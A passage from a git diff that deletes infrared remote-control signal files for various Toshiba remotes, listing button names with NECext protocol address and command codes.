-protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir deleted file mode 100644 index f0b06753f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0F 00 00 00 -# -name: chminus -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: chplus -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: linein -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: plus100 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 26 00 00 00 -# -name: pplus -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 29 00 00 00 -# -name: prech -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2A 00 00 00 -# -name: trkplus -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: trkminus -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 32 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 37 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: pstd -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir deleted file mode 100644 index 297cdb1f6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE_STEP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: SLOW+ -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: SLOW- -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: A-B_RPT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 40 00 00 00 -# -name: FL_DIMMER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 41 00 00 00 -# -name: X_KEY_3D -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 43 00 00 00 -# -name: DISC_SELECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: TOPMENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir deleted file mode 100644 index 6045a53d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PauseStep -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: SkipForward -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: RepeatA-B -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 40 00 00 00 -# -name: FlDim -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 41 00 00 00 -# -name: EAM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 43 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: FlSelect -type: parsed -protocol: NECext -address: 45 00 00 00 -command: D7 00 00 00 -# -name: TopMenu -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: EPM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EE 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir deleted file mode 100644 index 349619065..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: quick -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0B 00 00 00 -# -name: slow+ -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: slow- -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0E 00 00 00 -# -name: v.remote -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: navi -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: abrpt -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 40 00 00 00 -# -name: fldimmer -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 41 00 00 00 -# -name: e.a.m -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 43 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: colorstream -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: topmenu -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F0 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F1 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir deleted file mode 100644 index e23c006c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: pause-step -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: skip-left -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: skip-right -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir deleted file mode 100644 index 6688eea79..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: TV_Video -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: Ent -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: TV_VCR -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 51 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 53 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 58 00 00 00 -# -name: Menu_Enter -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 80 00 00 00 -# -name: ADV_PIP_Up -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 82 00 00 00 -# -name: ADV_PIP_Down -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 83 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 90 00 00 00 -# -name: Strobe -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 91 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 93 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir deleted file mode 100644 index 513571bf1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: track_down -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: track_up -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: tv/vcr -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: tv/catv -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 17 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 